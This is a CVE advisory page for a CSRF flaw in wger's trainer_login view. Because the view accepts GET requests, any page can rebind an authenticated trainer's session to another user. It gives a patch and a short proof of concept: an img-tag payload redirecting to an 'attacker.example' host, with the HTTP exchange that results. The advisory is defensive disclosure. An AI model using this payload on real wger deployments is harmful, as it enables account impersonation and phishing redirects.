CVE-2026-45161 — wger
MEDIUMCVE-2026-45161 is a medium-severity (CVSS 5.4) Cross-Site Request Forgery (CSRF) vulnerability in wger. No vendor fix is recorded yet; mitigation options are listed below.
wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-45161.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-45161 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
wgerReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.
Details
File: wger/core/views/user.py, approximately lines 161-210
# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
...
django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
return HttpResponseRedirect(...)
Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.
Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.
Affected endpoint:
GET /en/user/<user_pk>/trainer-login->wger.core.views.user.trainer_login
Suggested patch:
--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
@login_required()
+@require_POST
def trainer_login(request, user_pk):
...
- # Move ?next= handling to POST body - never use GET params for
- # security-sensitive redirects
+ next_url = request.POST.get('next', reverse('core:index'))
+ if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+ next_url = reverse('core:index')
return HttpResponseRedirect(next_url)
Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).
PoC
Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).
Step 1 - Attacker hosts malicious page:
<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
width="1" height="1">
Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:
GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)
Step 3 - Server responds:
HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session] <- session rebound to alice
Step 4 - Confirm impersonation:
GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]
-> 200 OK: {"username":"alice",...}
Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.
Impact
An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.
This CSRF primitive is the delivery vector that unlocks the trainer_login scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.
Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.
Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | wger | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wger, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wger has shipped for CVE-2026-45161 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-45161 in your dependencies?
Find it across PyPI, including transitive dependencies.